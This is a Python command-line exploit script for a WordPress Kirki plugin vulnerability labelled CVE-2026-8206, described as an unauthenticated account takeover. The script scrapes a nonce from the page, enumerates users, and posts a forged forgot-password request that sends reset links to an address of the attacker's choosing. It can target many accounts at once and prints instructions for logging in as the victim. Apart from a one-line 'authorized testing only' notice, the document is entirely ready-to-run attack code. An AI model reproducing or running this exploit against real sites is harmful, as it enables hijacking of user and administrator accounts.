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| #!/usr/bin/env python3
"""
CVE-2026-8206 Kirki Plugin Unauthenticated Account Takeover Exploit
CVSS: 9.8 (Critical)
Unauthenticated attackers can redirect password reset emails to attacker-controlled
addresses by exploiting the CompLibFormHandler REST API endpoint. This allows
complete account takeover of any registered WordPress user without authentication.
Legal Notice: Educational and authorized testing only.
"""
import requests
import re
import sys
import argparse
import time
import json
from urllib.parse import urljoin, quote
from bs4 import BeautifulSoup
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
class KirkiExploit:
def __init__(self, target_url, verbose=False):
self.target_url = target_url.rstrip('/')
self.verbose = verbose
self.session = requests.Session()
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
})
self.nonce = None
self.login_page_url = None
self.api_endpoint = None
def log(self, message, level="INFO"):
"""Log messages based on verbosity"""
if self.verbose or level in ["ERROR", "SUCCESS", "CRITICAL"]:
print(f"[{level}] {message}")
def find_kirki_forms(self):
"""Scan site for pages with Kirki forgot-password forms"""
self.log("Scanning for Kirki forgot-password forms...")
common_pages = [
'/login/',
'/register/',
'/forgot-password/',
'/password-reset/',
'/account/',
'/login-page/',
'/wp-login.php'
]
try:
# Try common paths
for path in common_pages:
url = urljoin(self.target_url, path)
try:
resp = self.session.get(url, timeout=10)
if 'KirkiComponentLibrary' in resp.text or 'kirki' in resp.text.lower():
self.log(f"Found Kirki form at: {url}", "SUCCESS")
self.login_page_url = url
return True
except:
pass
# Try homepage
resp = self.session.get(self.target_url, timeout=10)
if 'KirkiComponentLibrary' in resp.text:
self.log(f"Found Kirki form at homepage", "SUCCESS")
self.login_page_url = self.target_url
return True
self.log("Could not find Kirki forms", "ERROR")
return False
except Exception as e:
self.log(f"Error scanning for forms: {e}", "ERROR")
return False
def extract_nonce(self, page_url=None):
"""Extract nonce from Kirki component library"""
self.log("Extracting nonce from page source...")
if not page_url:
page_url = self.login_page_url or self.target_url
try:
resp = self.session.get(page_url, timeout=10)
# Look for KirkiComponentLibrary variable
nonce_patterns = [
r'"nonce"\s*:\s*"([a-f0-9]+)"',
r'KirkiComponentLibrary.*?"nonce"\s*:\s*"([a-f0-9]+)"',
r'"element_nonce"\s*:\s*"([a-f0-9]+)"',
r'X-WP-Element-Nonce["\']?\s*[=:]\s*["\']([a-f0-9]+)["\']'
]
for pattern in nonce_patterns:
match = re.search(pattern, resp.text, re.DOTALL)
if match:
self.nonce = match.group(1)
self.log(f"Nonce extracted: {self.nonce}", "SUCCESS")
return True
# Try to find any nonce in the page
all_nonces = re.findall(r'"nonce"\s*:\s*"([a-f0-9]+)"', resp.text)
if all_nonces:
self.nonce = all_nonces[0]
self.log(f"Nonce extracted (generic): {self.nonce}", "SUCCESS")
return True
self.log("Could not extract nonce from page", "ERROR")
return False
except Exception as e:
self.log(f"Error extracting nonce: {e}", "ERROR")
return False
def enumerate_users(self):
"""Enumerate WordPress users"""
self.log("Enumerating WordPress users...")
users = []
common_usernames = [
'admin',
'administrator',
'root',
'user',
'test',
'wordpress',
'wp-admin',
'webmaster',
'support',
'info'
]
try:
# Try REST API user enumeration
api_url = urljoin(self.target_url, '/wp-json/wp/v2/users')
resp = self.session.get(api_url, timeout=10)
if resp.status_code == 200:
try:
user_data = resp.json()
for user in user_data:
users.append({
'id': user.get('id'),
'username': user.get('slug'),
'name': user.get('name')
})
self.log(f"Found {len(users)} users via REST API", "SUCCESS")
return users
except:
pass
# Fallback to common usernames
self.log(f"Using common usernames for enumeration", "INFO")
for username in common_usernames:
users.append({'username': username})
return users
except Exception as e:
self.log(f"Error enumerating users: {e}")
return common_usernames
def exploit_account(self, username, attacker_email):
"""Exploit account takeover via password reset redirect"""
self.log(f"Attempting to redirect password reset for user: {username}")
if not self.nonce:
self.log("Missing nonce", "ERROR")
return False
# Construct REST API endpoint
api_endpoint = urljoin(
self.target_url,
'/wp-json/KirkiComponentLibrary/v1/kirki-forgot-password'
)
self.log(f"API Endpoint: {api_endpoint}", "INFO")
# Prepare payload
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'X-WP-Element-Nonce': self.nonce,
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
}
# Email body with reset link chip
email_body = json.dumps([
{"type": "chip", "value": "reset_link"},
{"type": "text", "value": "Click the link above to reset your password."}
])
data = {
'username': username,
'email': attacker_email,
'emailSubject': 'Password Reset Request',
'emailBody': email_body
}
try:
self.log(f"Sending exploit request...", "INFO")
resp = self.session.post(api_endpoint, headers=headers, data=data, timeout=15)
self.log(f"Response Status: {resp.status_code}", "INFO")
self.log(f"Response Body: {resp.text[:300]}", "INFO")
if resp.status_code == 200:
response_data = resp.json() if resp.text else {}
if 'message' in response_data or 'success' in response_data:
self.log(f"Password reset email redirected to: {attacker_email}", "SUCCESS")
return True
elif 'error' not in response_data:
self.log(f"Request appears successful", "SUCCESS")
return True
self.log(f"Exploit may have failed", "ERROR")
return False
except Exception as e:
self.log(f"Error sending exploit: {e}", "ERROR")
return False
def exploit_multiple_accounts(self, usernames, attacker_email):
"""Exploit multiple accounts"""
self.log(f"Attempting to exploit {len(usernames)} accounts...")
successful = []
for username in usernames:
if self.exploit_account(username, attacker_email):
successful.append(username)
time.sleep(1) # Rate limiting
return successful
def verify_exploit(self, username):
"""Verify if account takeover was successful"""
self.log(f"Verifying account takeover for: {username}")
# This would require access to the email or checking password reset logs
# For now, we assume success if the request was accepted
return True
def generate_reset_link(self, username, reset_key):
"""Generate password reset link"""
reset_link = urljoin(
self.target_url,
f'/?action=rp&key={reset_key}&login={quote(username)}'
)
return reset_link
def exploit(self, username, attacker_email):
"""Execute full exploit chain"""
print("\n" + "="*70)
print("CVE-2026-8206 Kirki Plugin Unauthenticated Account Takeover")
print("="*70 + "\n")
# Step 1: Find Kirki forms
if not self.find_kirki_forms():
self.log("Attempting to use provided target URL directly...", "INFO")
self.login_page_url = self.target_url
# Step 2: Extract nonce
if not self.extract_nonce():
return False
# Step 3: Exploit account
if not self.exploit_account(username, attacker_email):
return False
print("\n" + "="*70)
print("EXPLOITATION SUCCESSFUL")
print("="*70)
print(f"Target: {self.target_url}")
print(f"Victim Username: {username}")
print(f"Attacker Email: {attacker_email}")
print(f"Password Reset Email Redirected: YES")
print(f"\nNext Steps:")
print(f"1. Check email at {attacker_email}")
print(f"2. Click the password reset link")
print(f"3. Set a new password")
print(f"4. Log in as {username}")
print("="*70 + "\n")
return True
class UserEnumerator:
"""Enumerate WordPress users"""
def __init__(self, target_url, verbose=False):
self.target_url = target_url.rstrip('/')
self.verbose = verbose
self.session = requests.Session()
def enumerate_rest_api(self):
"""Enumerate users via REST API"""
users = []
try:
api_url = urljoin(self.target_url, '/wp-json/wp/v2/users')
resp = self.session.get(api_url, timeout=10)
if resp.status_code == 200:
user_data = resp.json()
for user in user_data:
users.append({
'id': user.get('id'),
'username': user.get('slug'),
'name': user.get('name'),
'link': user.get('link')
})
except Exception as e:
if self.verbose:
print(f"[ERROR] REST API enumeration failed: {e}")
return users
def enumerate_author_pages(self):
"""Enumerate users via author pages"""
users = []
try:
# Try to find author pages
for i in range(1, 20):
author_url = urljoin(self.target_url, f'/author/author-{i}/')
resp = self.session.get(author_url, timeout=5)
if resp.status_code == 200 and 'author' in resp.text.lower():
# Extract username from page
match = re.search(r'author-(\w+)', resp.url)
if match:
users.append({'username': match.group(1)})
except:
pass
return users
def get_all_users(self):
"""Get all enumerated users"""
users = []
users.extend(self.enumerate_rest_api())
users.extend(self.enumerate_author_pages())
return users
def main():
parser = argparse.ArgumentParser(
description='CVE-2026-8206 Kirki Plugin Unauthenticated Account Takeover Exploit'
)
parser.add_argument('target', help='Target URL (e.g., https://example.com)')
parser.add_argument('-u', '--username', required=True, help='Target username to takeover')
parser.add_argument('-e', '--email', required=True, help='Attacker email for reset link')
parser.add_argument('-v', '--verbose', action='store_true', help='Verbose output')
parser.add_argument('--enumerate', action='store_true', help='Enumerate WordPress users')
parser.add_argument('--batch', metavar='FILE', help='Batch exploit from file (one username per line)')
parser.add_argument('--delay', type=int, default=1, help='Delay between requests (seconds)')
args = parser.parse_args()
# Enumerate users if requested
if args.enumerate:
print("[*] Enumerating WordPress users...")
enumerator = UserEnumerator(args.target, verbose=args.verbose)
users = enumerator.get_all_users()
print(f"\n[+] Found {len(users)} users:")
for user in users:
print(f" - {user.get('username', 'Unknown')}")
if not args.username or args.username == 'admin':
print("\nRun exploit with one of these usernames:")
print(f" python3 exploit.py {args.target} -u <username> -e {args.email}")
sys.exit(0)
# Batch exploit
if args.batch:
print(f"[*] Reading usernames from {args.batch}...")
with open(args.batch, 'r') as f:
usernames = [line.strip() for line in f if line.strip()]
exploit = KirkiExploit(args.target, verbose=args.verbose)
# Find forms and extract nonce once
if not exploit.find_kirki_forms():
exploit.login_page_url = args.target
exploit.extract_nonce()
successful = []
for username in usernames:
print(f"\n[*] Exploiting {username}...")
if exploit.exploit_account(username, args.email):
successful.append(username)
time.sleep(args.delay)
print(f"\n[+] Successfully exploited {len(successful)} accounts:")
for username in successful:
print(f" - {username}")
sys.exit(0)
# Single exploit
exploit = KirkiExploit(args.target, verbose=args.verbose)
success = exploit.exploit(args.username, args.email)
sys.exit(0 if success else 1)
if __name__ == '__main__':
main()
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